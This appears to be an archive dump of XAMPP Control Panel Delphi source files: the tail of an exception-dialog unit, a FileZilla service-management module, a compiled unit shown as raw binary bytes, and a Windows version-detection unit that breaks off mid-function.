(GetWindowThreadProcessId(Handle, nil) = MainThreadID) then PostMessage(Handle, UM_CREATEDETAILS, 0, 0) else CreateReport; end; //-------------------------------------------------------------------------------------------------- function TExceptionDialog.GetReportAsText: string; begin Result := StrEnsureSuffix(NativeCrLf, TextMemo.Text) + NativeCrLf + DetailsMemo.Text; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.NextDetailBlock; begin DetailsMemo.Lines.Add(StrRepeat(ReportNewBlockDelimiterChar, ReportMaxColumns)); end; //-------------------------------------------------------------------------------------------------- function TExceptionDialog.ReportNewBlockDelimiterChar: Char; begin Result := '-'; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.SaveToLogFile(const FileName: TFileName); var SimpleLog: TJclSimpleLog; begin SimpleLog := TJclSimpleLog.Create(FileName); try SimpleLog.WriteStamp(ReportMaxColumns); SimpleLog.Write(ReportAsText); SimpleLog.CloseLog; finally SimpleLog.Free; end; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.SetDetailsVisible(const Value: Boolean); const DirectionChars: array [0..1] of Char = ( '<', '>' ); var DetailsCaption: string; begin FDetailsVisible := Value; DetailsCaption := Trim(StrRemoveChars(DetailsBtn.Caption, DirectionChars)); if Value then begin Constraints.MinHeight := FNonDetailsHeight + 100; Constraints.MaxHeight := Screen.Height; DetailsCaption := '<< ' + DetailsCaption; ClientHeight := FFullHeight; DetailsMemo.Height := FFullHeight - DetailsMemo.Top - 3; end else begin FFullHeight := ClientHeight; DetailsCaption := DetailsCaption + ' >>'; if FNonDetailsHeight = 0 then begin ClientHeight := BevelDetails.Top; FNonDetailsHeight := Height; end else Height := FNonDetailsHeight; Constraints.MinHeight := FNonDetailsHeight; Constraints.MaxHeight := FNonDetailsHeight end; DetailsBtn.Caption := DetailsCaption; DetailsMemo.Enabled := Value; end; //-------------------------------------------------------------------------------------------------- class procedure TExceptionDialog.ShowException(E: TObject; Thread: TJclDebugThread); begin if ExceptionDialog = nil then ExceptionDialog := ExceptionDialogClass.Create(Application); try with ExceptionDialog do begin if Assigned(Thread) then FThreadID := Thread.ThreadID else FThreadID := MainThreadID; FLastActiveControl := Screen.ActiveControl; if E is Exception then TextMemo.Text := RsErrorMessage + AdjustLineBreaks(StrEnsureSuffix('.', Exception(E).Message)) else TextMemo.Text := RsErrorMessage + AdjustLineBreaks(StrEnsureSuffix('.', E.ClassName)); UpdateTextMemoScrollbars; NextDetailBlock; //Arioch: some header for possible saving to txt-file/e-mail/clipboard/NTEvent... DetailsMemo.Lines.Add(Format(RsDetailsIntro, [DateTimeToStr(Now), Application.Title, Application.ExeName])); NextDetailBlock; DetailsMemo.Lines.Add(Format(RsExceptionClass, [E.ClassName])); if E is Exception then DetailsMemo.Lines.Add(Format(RsExceptionMessage, [StrEnsureSuffix('.', Exception(E).Message)])); if Thread = nil then DetailsMemo.Lines.Add(Format(RsExceptionAddr, [ExceptAddr])) else DetailsMemo.Lines.Add(Format(RsThread, [Thread.ThreadInfo])); NextDetailBlock; ShowModal; end; finally FreeAndNil(ExceptionDialog); end; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.UMCreateDetails(var Message: TMessage); begin Update; CreateDetails; end; //-------------------------------------------------------------------------------------------------- procedure TExceptionDialog.UpdateTextMemoScrollbars; begin Canvas.Font := TextMemo.Font; if TextMemo.Lines.Count * Canvas.TextHeight('Wg') > TextMemo.ClientHeight then TextMemo.ScrollBars := ssVertical else TextMemo.ScrollBars := ssNone; end; //================================================================================================== // Exception handler initialization code //================================================================================================== var AppEvents: TApplicationEvents = nil; procedure InitializeHandler; begin if AppEvents = nil then begin AppEvents := TApplicationEvents.Create(nil); AppEvents.OnException := TExceptionDialog.ExceptionHandler; JclStackTrackingOptions := JclStackTrackingOptions + [stTraceAllExceptions]; JclStackTrackingOptions := JclStackTrackingOptions + [stStaticModuleList]; JclDebugThreadList.OnSyncException := TExceptionDialog.ExceptionThreadHandler; JclHookThreads; JclStartExceptionTracking; if HookTApplicationHandleException then JclTrackExceptionsFromLibraries; end; end; //-------------------------------------------------------------------------------------------------- procedure UnInitializeHandler; begin if AppEvents <> nil then begin FreeAndNil(AppEvents); JclDebugThreadList.OnSyncException := nil; JclUnhookExceptions; JclStopExceptionTracking; JclUnhookThreads; end; end; //-------------------------------------------------------------------------------------------------- initialization InitializeHandler; finalization UnInitializeHandler; end. xampp-control-panel/uFileZilla.pas000066600000035553151723641500013234 0ustar00unit uFileZilla; interface uses GnuGettext, uBaseModule, SysUtils, Classes, Windows, ExtCtrls, StdCtrls, Buttons, uNetstatTable, uTools, uProcesses_new, uServices; type tFileZilla = class(tBaseModule) OldPIDs, OldPorts: string; GlobalStatus: string; procedure ServiceInstall; override; procedure ServiceUnInstall; override; procedure Start; override; procedure Stop; override; procedure Admin; override; procedure CheckPorts; procedure UpdateStatus; override; procedure CheckIsService; reintroduce; procedure AddLog(Log: string; LogType: tLogType = ltDefault); reintroduce; constructor Create(pbbService: TBitBtn; pStatusPanel: tPanel; pPIDLabel, pPortLabel: tLabel; pStartStopButton, pAdminButton: TBitBtn); destructor Destroy; override; end; implementation uses uMain; const cModuleName = 'FileZilla'; { tFileZilla } procedure tFileZilla.AddLog(Log: string; LogType: tLogType); begin inherited AddLog('filezilla', Log, LogType); end; procedure tFileZilla.Admin; var App: string; begin App := BaseDir + 'filezillaftp\' + Config.BinaryNames.FileZillaAdmin; AddLog(Format(_('Executing "%s"'), [App]), ltDebug); ExecuteFile(App, '', '', SW_SHOW); end; procedure tFileZilla.CheckIsService; var s: string; path: string; begin inherited CheckIsService(RemoveWhiteSpace(Config.ServiceNames.FileZilla)); if isService then begin s := _('Service installed'); path := GetServicePath(RemoveWhiteSpace(Config.ServiceNames.FileZilla)); end else s := _('Service not installed'); AddLog(Format(_('Checking for service (name="%s"): %s'), [RemoveWhiteSpace(Config.ServiceNames.FileZilla), s]), ltDebug); if (path <> '') then begin if (Pos(LowerCase(BaseDir + 'FileZillaFTP\' + Config.BinaryNames.FileZilla), LowerCase(path)) <> 0) then AddLog(Format(_('Service Path: %s'), [path]), ltDebug) else begin pStatus.Color := cErrorColor; AddLog(Format(_('%s Service detected with wrong path'), [cModuleName]), ltError); AddLog(Format(_('Change XAMPP %s and Control Panel settings or'), [cModuleName]), ltError); AddLog(_('Uninstall/disable the other service manually first'), ltError); AddLog(Format(_('Found Path: %s'), [path]), ltError); AddLog(Format(_('Expected Path: "%sFileZillaFTP\%s"'), [BaseDir, Config.BinaryNames.FileZilla]), ltError); end end else AddLog(_('Service Path: Service Not Installed'), ltDebug); end; constructor tFileZilla.Create; var ServerApp, ServerAppBackup: string; begin inherited; ModuleName := cModuleName; isService := false; GlobalStatus := 'starting'; AddLog(_('Initializing module...'), ltDebug); ServerApp := BaseDir + 'FileZillaFTP\' + Config.BinaryNames.FileZilla; ServerAppBackup := BaseDir + 'FileZillaFTP\FileZilla server.exe'; AddLog(_('Checking for module existence...'), ltDebug); if not FileExists(ServerApp) then begin AddLog(_('Checking for alternate module existence...'), ltDebug); if not FileExists(ServerAppBackup) then begin pStatus.Color := cErrorColor; AddLog(Format(_('Problem detected: %s Not Found!'), [cModuleName]), ltError); AddLog(Format(_('Disabling %s buttons'), [cModuleName]), ltError); AddLog(_('Run this program from your XAMPP root directory!'), ltError); bAdmin.Enabled := false; bbService.Enabled := false; bStartStop.Enabled := false; end else ServerApp := ServerAppBackup; end; if not Config.EnableServices.FileZilla then begin AddLog(Format(_('%s Service is disabled.'), [cModuleName]), ltDebug); fmain.bFileZillaService.Enabled := false; end; AddLog(_('Checking for required tools...'), ltDebug); CheckIsService; CheckPorts; end; destructor tFileZilla.Destroy; begin inherited; end; procedure tFileZilla.CheckPorts; var PortBlocker: string; PortBlockerPID: integer; path: string; p: integer; ServerApp: string; pbpath: string; pbspath: string; Ports: array [0 .. 1] of integer; begin ServerApp := BaseDir + 'FileZillaFTP\' + Config.BinaryNames.FileZilla; Ports[0] := Config.ServicePorts.FileZilla; Ports[1] := Config.ServicePorts.FileZillaAdmin; path := GetServicePath(RemoveWhiteSpace(Config.ServiceNames.FileZilla)); if Config.EnableChecks.CheckDefaultPorts then begin AddLog(_('Checking default ports...'), ltDebug); for p := Low(Ports) to High(Ports) do begin PortBlockerPID := NetStatTable.isPortInUsePID(Ports[p]); if (PortBlockerPID > 0) then begin PortBlocker := Processes.GetProcessName(PortBlockerPID); AddLog(Format(_('Portblocker Detected: %s'), [PortBlocker]), ltDebug); AddLog(Format(_('Checking for App: %s'), [ServerApp]), ltDebug); if isService then AddLog(Format(_('Checking for Service: %s'), [path]), ltDebug); //if (Pos(LowerCase(ServerApp), LowerCase(PortBlocker)) <> 0) then pbpath := Processes.GetProcessPath(PortBlockerPID); pbspath := GetServiceWithPid(PortBlockerPID); AddLog(Format(_('Portblocker Path: %s'), [pbpath]), ltDebug); AddLog(Format(_('Portblocker Service Path: %s'), [pbspath]), ltDebug); if (Pos(LowerCase(ServerApp), LowerCase(pbpath)) <> 0) then begin AddLog(Format(_('XAMPP %s is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); end //else if (Pos(LowerCase(PortBlocker), LowerCase(path)) <> 0) and (isService = True) then else if (Pos(LowerCase(pbspath), LowerCase(path)) <> 0) and (isService = True) and (Pos(LowerCase(ServerApp), LowerCase(pbspath)) <> 0) then begin AddLog(Format(_('XAMPP %s Service is already running on port %d'), [cModuleName, Ports[p]]), ltInfo); //AddLog(Format(_('Service Path: %s'), [GetServiceWithPid(PortBlockerPID)]), ltDebug); end else begin pStatus.Color := cErrorColor; if (pbspath <> '') then PortBlocker := pbspath else PortBlocker := pbpath; AddLog(_('Problem detected!'), ltError); AddLog(Format(_('Port %d in use by "%s"!'), [Ports[p], PortBlocker]), ltError); AddLog(Format(_('%s WILL NOT start without the configured ports free!'), [cModuleName]), ltError); AddLog(_('You need to uninstall/disable/reconfigure the blocking application'), ltError); AddLog(Format(_('or reconfigure %s and the Control Panel to listen on a different port'), [cModuleName]), ltError); end; end; end; end; end; procedure tFileZilla.ServiceInstall; var App, Param1, Param2, Param3: string; RC: integer; begin App := BaseDir + 'filezillaftp\' + Config.BinaryNames.FileZilla; Param1 := '-install auto'; Param2 := '-servicename ' + RemoveWhiteSpace(Config.ServiceNames.FileZilla); Param3 := '-servicedisplayname ' + Config.ServiceNames.FileZilla; AddLog(_('Setting Service Name...')); AddLog(Format(_('Executing "%s %s"'), [App, Param2]), ltDebug); ExecuteFile(App, Param2, BaseDir, SW_HIDE); AddLog(_('Setting Service Display Name...')); AddLog(Format(_('Executing "%s %s"'), [App, Param3]), ltDebug); ExecuteFile(App, Param3, BaseDir, SW_HIDE); AddLog(_('Installing service...')); AddLog(Format(_('Executing "%s %s"'), [App, Param1]), ltDebug); RC := RunAsAdmin(App, Param1, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tFileZilla.ServiceUnInstall; var App, Param: string; RC: Cardinal; begin App := BaseDir + 'filezillaftp\' + Config.BinaryNames.FileZilla; Param := '-uninstall'; AddLog('Uninstalling service...'); AddLog(Format(_('Executing "%s" "%s"'), [App, Param]), ltDebug); RC := RunAsAdmin(App, Param, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; procedure tFileZilla.Start; var App: string; RC: Cardinal; begin GlobalStatus := 'starting'; CheckPorts; if isService and Config.EnableServices.FileZilla then begin AddLog(Format(_('Attempting to start %s service...'), [cModuleName])); App := Format('start "%s"', [RemoveWhiteSpace(Config.ServiceNames.FileZilla)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end else begin App := BaseDir + 'filezillaftp\' + Config.BinaryNames.FileZilla + ' -compat -start'; AddLog(Format(_('Attempting to start %s app...'), [cModuleName])); AddLog(Format(_('Executing "%s"'), [App]), ltDebug); RC := RunProcess(App, SW_HIDE, false); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end; procedure tFileZilla.Stop; var App: string; RC: Cardinal; begin GlobalStatus := 'stopping'; if isService and Config.EnableServices.FileZilla then begin AddLog(Format(_('Attempting to stop %s service...'), [cModuleName])); App := Format('stop "%s"', [RemoveWhiteSpace(Config.ServiceNames.FileZilla)]); AddLog(Format(_('Executing "%s"'), ['net ' + App]), ltDebug); RC := RunAsAdmin('net', App, SW_HIDE); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end else begin App := BaseDir + 'filezillaftp\' + Config.BinaryNames.FileZilla + ' -compat -stop'; AddLog(Format(_('Attempting to stop %s app...'), [cModuleName])); AddLog(Format(_('Executing "%s"'), [App]), ltDebug); RC := RunProcess(App, SW_HIDE, false); if RC = 0 then AddLog(Format(_('Return code: %d'), [RC]), ltDebug) else AddLog(Format(_('There may be an error, return code: %d - %s'), [RC, SystemErrorMessage(RC)]), ltError); end; end; procedure tFileZilla.UpdateStatus; var p: integer; // ProcInfo: TProcInfo; s: string; Ports: string; pname: string; ppath: string; currPID: integer; ErrorStatus: integer; begin isRunning := false; PIDList.Clear; ErrorStatus := 0; // for p := 0 to Processes.ProcessList.Count - 1 do // begin // ProcInfo := Processes.ProcessList[p]; // if (pos(Config.BinaryNames.FileZilla, ProcInfo.Module) = 1) then // begin // if (pos(IntToStr(Config.ServicePorts.FileZilla),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(IntToStr(Config.ServicePorts.FileZillaAdmin),NetStatTable.GetPorts4PID(ProcInfo.PID)) <> 0) or // (pos(BaseDir, ProcInfo.ExePath) <> 0) then // begin // isRunning := true; // PIDList.Add(Pointer(ProcInfo.PID)); // end; // end; // end; for p := 0 to Processes.ProcessList2.Count - 1 do begin pname := Processes.ProcessList2[p]; if (Pos(LowerCase(Config.BinaryNames.FileZilla), LowerCase(pname)) = 1) then begin currPID := integer(Processes.ProcessList2.Objects[p]); if (isService) then begin ppath := LowerCase(GetServiceWithPid(currPID)); if ((Pos(IntToStr(Config.ServicePorts.FileZilla), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(BaseDir), ppath) <> 0)) or ((Pos(IntToStr(Config.ServicePorts.FileZillaAdmin), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(BaseDir), ppath) <> 0)) or (Pos(LowerCase(BaseDir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end else begin ppath := LowerCase(Processes.GetProcessPath(currPID)); if ((Pos(IntToStr(Config.ServicePorts.FileZilla), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(BaseDir), ppath) <> 0)) or ((Pos(IntToStr(Config.ServicePorts.FileZillaAdmin), NetStatTable.GetPorts4PID(currPID)) <> 0) and (Pos(LowerCase(BaseDir), ppath) <> 0)) or (Pos(LowerCase(BaseDir), ppath) <> 0) then begin isRunning := True; PIDList.Add(Pointer(currPID)); end; end; end; end; // Checking processes s := ''; for p := 0 to PIDList.Count - 1 do begin if p = 0 then s := IntToStr(integer(PIDList[p])) else s := s + #13 + IntToStr(integer(PIDList[p])); end; if s <> OldPIDs then begin lPID.Caption := s; OldPIDs := s; end; // Checking netstats s := ''; for p := 0 to PIDList.Count - 1 do begin Ports := NetStatTable.GetPorts4PID(integer(PIDList[p])); if Ports <> '' then s := RemoveDuplicatePorts(Ports); end; if s <> OldPorts then begin lPort.Caption := s; OldPorts := s; end; if byte(isRunning) <> oldIsRunningByte then begin if oldIsRunningByte <> 2 then begin if isRunning then s := _('running') else begin s := _('stopped'); if GlobalStatus = 'starting' then ErrorStatus := 1; end; AddLog(_('Status change detected:') + ' ' + s); if ErrorStatus = 1 then begin pStatus.Color := cErrorColor; AddLog(Format(_('Error: %s shutdown unexpectedly.'), [cModuleName]), ltError); AddLog(_('This may be due to a blocked port, missing dependencies, '), ltError); AddLog(_('improper privileges, a crash, or a shutdown by another method.'), ltError); AddLog(_('Press the Logs button to view error logs and check'), ltError); AddLog(_('the Windows Event Viewer for more clues'), ltError); AddLog(_('If you need more help, copy and post this'), ltError); AddLog(_('entire log window on the forums'), ltError); end; end; oldIsRunningByte := byte(isRunning); if isRunning then begin pStatus.Color := cRunningColor; bStartStop.Caption := _('Stop'); bAdmin.Enabled := True; fmain.FileZillaTray.ImageIndex := 15; fmain.FileZillaTrayControl.Caption := _('Stop'); end else begin pStatus.Color := cStoppedColor; bStartStop.Caption := _('Start'); bAdmin.Enabled := false; fmain.FileZillaTray.ImageIndex := 16; fmain.FileZillaTrayControl.Caption := _('Start'); end; end; if AutoStart then begin AutoStart := false; if isRunning then begin AddLog(Format(_('Autostart aborted: %s is already running'), [cModuleName]), ltInfo); end else begin AddLog(_('Autostart active: starting...')); Start; end; end; end; end. xampp-control-panel/uGetWinVersionInfo.dcu000066600000020132151723641500014713 0ustar00KZ qL? -uGetWinVersionInfog@UStrCatZ3g @UStrEqual`pg@HandleFinally`pf WideStringݗf PWideCharD?cdSysInitcdWinapi.WindowsfTOSVersionInfoEx:VfBOOLygkernel32uD#fDWORDfTOSVersionInfo&gTRegistry.OpenKeyReadOnly[&gTRegistry.ReadStringc&gTRegistry.CloseKeyK&ch kernel32.dllg GetVersionExAc5uGetWinVersionInfo_c5System5Win5RegistryZcc5ClassesXc5StrUtilsVc5SysUtilsRcc5SysInit2c5Winapi5ShlObjPc5Windows4cc( GetVersionExA "lpVersionInformationc'VER_NT_WORKSTATIONa 'VER_SUITE_ENTERPRISEa' VER_NT_SERVERa'VER_SUITE_DATACENTERa$'VER_SUITE_PERSONALa,%PRODUCT_BUSINESS}1 %PRODUCT_BUSINESS_N}1 %PRODUCT_CLUSTER_SERVER}1$%PRODUCT_DATACENTER_SERVER}1%PRODUCT_DATACENTER_SERVER_CORE}1%PRODUCT_ENTERPRISE}1%PRODUCT_ENTERPRISE_N}16%PRODUCT_ENTERPRISE_SERVER}1%PRODUCT_ENTERPRISE_SERVER_CORE}1%PRODUCT_ENTERPRISE_SERVER_IA64}1%PRODUCT_HOME_BASIC}1%PRODUCT_HOME_BASIC_N}1 %PRODUCT_HOME_PREMIUM}1%PRODUCT_HOME_PREMIUM_N}14%PRODUCT_HOME_SERVER}1&% PRODUCT_SERVER_FOR_SMALLBUSINESS}10%PRODUCT_SMALLBUSINESS_SERVER}1%$PRODUCT_SMALLBUSINESS_SERVER_PREMIUM}12%PRODUCT_STANDARD_SERVER}1%PRODUCT_STANDARD_SERVER_CORE}1%PRODUCT_STARTER}1%!PRODUCT_STORAGE_ENTERPRISE_SERVER}1.%PRODUCT_STORAGE_EXPRESS_SERVER}1(%PRODUCT_STORAGE_STANDARD_SERVER}1*% PRODUCT_STORAGE_WORKGROUP_SERVER}1,%PRODUCT_UNDEFINED}1%PRODUCT_ULTIMATE}1%PRODUCT_ULTIMATE_N~18%PRODUCT_WEB_SERVER}1"%PRODUCT_UNLICENSED;ͫͫ'GetProductInfoݪ 47.1F"( GetOSInfo1G#Resultf NTBresf BRes  OSVIf! OSVI_NTf tmpStrf dwOSMajorVersionf dwOSMinorVersionf dwSpMajorVersionf dwSpMinorVersionf pdwReturnedProductTypef .fc( Finalization`p!$c(uGetWinVersionInfo!$cD"DHj!dwOSMajorVersion!dwOSMinorVersion!dwSpMajorVersion!dwSpMinorVersion"pdwReturnedProductTypekcD"@lEI%UĨSVW3҉UE3Uh#d0d E@E3Uhd0d DžP@EDžPC3ZYYd&DžPCu }BhHw EXuu E|uu E?2E=EPEPEPEPEPE^O(l-ͫͫ-3T2T[HceHHE~r$  C$<Zp^KEEE$E`EE0 E0 Ed |E jE4 XE FE 4E "E E EH E E E( E E E El qE bESETDE5E&EEEEUEE}f;;uTf-tf-t*E E!E@E EhE;;uEE;uEEEEE3UhLd0d EE3Uh/d0d tEUEuEEEuEE3ZYYdh6E3ZYYdhEu0u'EfCuEEu0 u'E0fAuETEu4Zu+EhE E3ZYYdh*E_^[]Error Windows NT  Windows 2000  Windows XP Windows Vista Business EditionCluster Server Edition-Server Datacenter Edition (full installation)-Server Datacenter Edition (core installation)Enterprise Edition-Server Enterprise Edition (full installation)-Server Enterprise Edition (core installation)3Server Enterprise Edition for Itanium-based SystemsHome Basic EditionHome Premium EditionHome Server Edition!Server for Small Business EditionSmall Business Server%Small Business Server Premium Edition+Server Standard Edition (full installation)+Server Standard Edition (core installation)Starter Edition!Storage Server Enterprise EditionStorage Server Express EditionStorage Server Standard Edition Storage Server Workgroup EditionAn unknown productUltimate EditionWeb Server EditionUnlicensed productPersonal Home Premium ProfessionalDataCenter ServerAdvanced ServerServer/SYSTEM\CurrentControlSet\Control\ProductOptions ProductTypeWINNT WorkstationSERVERNT Windows 95 OSR2 Windows 98 SE Windows MeMicrosoft Win32sUnknownÃ-sh$hDPGetProductInfoKERNEL32.DLLml< 8>@* ,@"HZ 4 4 D  B& $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $&(<> (  (  (& ( (  (^ `&b d "fT * ( * ( h , ,8 $ (: $ (:   && ,*   L N ΂Eaxampp-control-panel/uGetWinVersionInfo.pas000066600000026210151723641500014726 0ustar00unit uGetWinVersionInfo; interface uses Winapi.Windows, Winapi.ShlObj, System.SysUtils, System.StrUtils, System.Classes, System.Win.Registry; //type // _OSVERSIONINFOEX = record // dwOSVersionInfoSize : DWORD; // dwMajorVersion : DWORD; // dwMinorVersion : DWORD; // dwBuildNumber : DWORD; // dwPlatformId : DWORD; // szCSDVersion : array[0..127] of AnsiChar; // wServicePackMajor : WORD; // wServicePackMinor : WORD; // wSuiteMask : WORD; // wProductType : BYTE; // wReserved : BYTE; // end; //TOSVERSIONINFOEX = _OSVERSIONINFOEX; // function GetVersionExA(var lpVersionInformation: TOSVersionInfoEX): BOOL; // stdcall; external kernel32; const VER_NT_WORKSTATION :Integer = 1; VER_SUITE_ENTERPRISE :Integer = 2; VER_NT_SERVER :Integer = 3; VER_SUITE_DATACENTER :Integer = 128; VER_SUITE_PERSONAL :Integer = 512; const PRODUCT_BUSINESS = $00000006; {Business Edition} PRODUCT_BUSINESS_N = $00000010; {Business Edition} PRODUCT_CLUSTER_SERVER = $00000012; {Cluster Server Edition} PRODUCT_DATACENTER_SERVER = $00000008; {Server Datacenter Edition (full installation)} PRODUCT_DATACENTER_SERVER_CORE = $0000000C; {Server Datacenter Edition (core installation)} PRODUCT_ENTERPRISE = $00000004; {Enterprise Edition} PRODUCT_ENTERPRISE_N = $0000001B; {Enterprise Edition} PRODUCT_ENTERPRISE_SERVER = $0000000A; {Server Enterprise Edition (full installation)} PRODUCT_ENTERPRISE_SERVER_CORE = $0000000E; {Server Enterprise Edition (core installation)} PRODUCT_ENTERPRISE_SERVER_IA64 = $0000000F; {Server Enterprise Edition for Itanium-based Systems} PRODUCT_HOME_BASIC = $00000002; {Home Basic Edition} PRODUCT_HOME_BASIC_N = $00000005; {Home Basic Edition} PRODUCT_HOME_PREMIUM = $00000003; {Home Premium Edition} PRODUCT_HOME_PREMIUM_N = $0000001A; {Home Premium Edition} PRODUCT_HOME_SERVER = $00000013; {Home Server Edition} PRODUCT_SERVER_FOR_SMALLBUSINESS = $00000018; {Server for Small Business Edition} PRODUCT_SMALLBUSINESS_SERVER = $00000009; {Small Business Server} PRODUCT_SMALLBUSINESS_SERVER_PREMIUM = $00000019; {Small Business Server Premium Edition} PRODUCT_STANDARD_SERVER = $00000007; {Server Standard Edition (full installation)} PRODUCT_STANDARD_SERVER_CORE = $0000000D; {Server Standard Edition (core installation)} PRODUCT_STARTER = $0000000B; {Starter Edition} PRODUCT_STORAGE_ENTERPRISE_SERVER = $00000017; {Storage Server Enterprise Edition} PRODUCT_STORAGE_EXPRESS_SERVER = $00000014; {Storage Server Express Edition} PRODUCT_STORAGE_STANDARD_SERVER = $00000015; {Storage Server Standard Edition} PRODUCT_STORAGE_WORKGROUP_SERVER = $00000016; {Storage Server Workgroup Edition} PRODUCT_UNDEFINED = $00000000; {An unknown product} PRODUCT_ULTIMATE = $00000001; {Ultimate Edition} PRODUCT_ULTIMATE_N = $0000001C; {Ultimate Edition} PRODUCT_WEB_SERVER = $00000011; {Web Server Edition} PRODUCT_UNLICENSED = $ABCDABCD; {Unlicensed product} var {$EXTERNALSYM GetProductInfo} GetProductInfo: function (dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion: DWORD; var pdwReturnedProductType: DWORD): BOOL stdcall = NIL; implementation //uses Windows, Winapi.Windows, System.SysUtils, System.StrUtils; function GetOSInfo: string; var NTBres, BRes: Boolean; OSVI: TOSVERSIONINFO; OSVI_NT: TOSVERSIONINFOEX; tmpStr: string; dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, pdwReturnedProductType : DWORD; begin Result := 'Error'; NTBRes := FALSE; try OSVI_NT.dwOSVersionInfoSize := SizeOf(TOSVERSIONINFOEX); NTBRes := GetVersionExA(OSVI_NT); OSVI.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); BRes := GetVersionEx(OSVI); except OSVI.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); BRes := GetVersionEx(OSVI); end; if (not BRes) and (not NTBres) then Exit; Move( OSVI, OSVI_NT, SizeOf(TOSVersionInfo) ); case OSVI_NT.dwPlatformId of VER_PLATFORM_WIN32_NT: begin if OSVI_NT.dwMajorVersion <= 4 then Result := 'Windows NT '; if (OSVI_NT.dwMajorVersion = 5) and (OSVI_NT.dwMinorVersion = 0) then Result := 'Windows 2000 '; if (OSVI_NT.dwMajorVersion = 5) and (OSVI_NT.dwMinorVersion = 1) then Result := 'Windows XP '; if (OSVI_NT.dwMajorVersion = 6) and (OSVI_NT.dwMinorVersion = 0) then begin Result := 'Windows Vista '; if Assigned(GetProductInfo) then begin GetProductInfo( dwOSMajorVersion, dwOSMinorVersion, dwSpMajorVersion, dwSpMinorVersion, pdwReturnedProductType ); case pdwReturnedProductType of PRODUCT_BUSINESS: tmpStr := 'Business Edition'; PRODUCT_BUSINESS_N: tmpStr := 'Business Edition'; PRODUCT_CLUSTER_SERVER: tmpStr := 'Cluster Server Edition'; PRODUCT_DATACENTER_SERVER: tmpStr := 'Server Datacenter Edition (full installation)'; PRODUCT_DATACENTER_SERVER_CORE: tmpStr := 'Server Datacenter Edition (core installation)'; PRODUCT_ENTERPRISE: tmpStr := 'Enterprise Edition'; PRODUCT_ENTERPRISE_N: tmpStr := 'Enterprise Edition'; PRODUCT_ENTERPRISE_SERVER: tmpStr := 'Server Enterprise Edition (full installation)'; PRODUCT_ENTERPRISE_SERVER_CORE: tmpStr := 'Server Enterprise Edition (core installation)'; PRODUCT_ENTERPRISE_SERVER_IA64: tmpStr := 'Server Enterprise Edition for Itanium-based Systems'; PRODUCT_HOME_BASIC: tmpStr := 'Home Basic Edition'; PRODUCT_HOME_BASIC_N: tmpStr := 'Home Basic Edition'; PRODUCT_HOME_PREMIUM: tmpStr := 'Home Premium Edition'; PRODUCT_HOME_PREMIUM_N: tmpStr := 'Home Premium Edition'; PRODUCT_HOME_SERVER: tmpStr := 'Home Server Edition'; PRODUCT_SERVER_FOR_SMALLBUSINESS: tmpStr := 'Server for Small Business Edition'; PRODUCT_SMALLBUSINESS_SERVER: tmpStr := 'Small Business Server'; PRODUCT_SMALLBUSINESS_SERVER_PREMIUM: tmpStr := 'Small Business Server Premium Edition'; PRODUCT_STANDARD_SERVER: tmpStr := 'Server Standard Edition (full installation)'; PRODUCT_STANDARD_SERVER_CORE: tmpStr := 'Server Standard Edition (core installation)'; PRODUCT_STARTER: tmpStr := 'Starter Edition'; PRODUCT_STORAGE_ENTERPRISE_SERVER: tmpStr := 'Storage Server Enterprise Edition'; PRODUCT_STORAGE_EXPRESS_SERVER: tmpStr := 'Storage Server Express Edition'; PRODUCT_STORAGE_STANDARD_SERVER: tmpStr := 'Storage Server Standard Edition'; PRODUCT_STORAGE_WORKGROUP_SERVER: tmpStr := 'Storage Server Workgroup Edition'; PRODUCT_UNDEFINED: tmpStr := 'An unknown product'; PRODUCT_ULTIMATE: tmpStr := 'Ultimate Edition'; PRODUCT_ULTIMATE_N: tmpStr := 'Ultimate Edition'; PRODUCT_WEB_SERVER: tmpStr := 'Web Server Edition'; PRODUCT_UNLICENSED: tmpStr := 'Unlicensed product' else tmpStr := ''; end;{ pdwReturnedProductType } Result := Result + tmpStr; NTBRes := FALSE; end;{ GetProductInfo<>NIL } end;{ Vista } if NTBres then begin if OSVI_NT.wProductType = VER_NT_WORKSTATION then begin if OSVI_NT.wProductType = VER_NT_WORKSTATION then begin case OSVI_NT.wSuiteMask of 512: Result := Result + 'Personal'; 768: Result := Result + 'Home Premium'; else Result := Result + 'Professional'; end; end else if OSVI_NT.wProductType = VER_NT_SERVER then begin if OSVI_NT.wSuiteMask = VER_SUITE_DATACENTER then Result := Result + 'DataCenter Server' else if OSVI_NT.wSuiteMask = VER_SUITE_ENTERPRISE then Result := Result + 'Advanced Server' else Result := Result + 'Server'; end; end{ wProductType=VER_NT_WORKSTATION } else begin with TRegistry.Create do try RootKey := HKEY_LOCAL_MACHINE; if 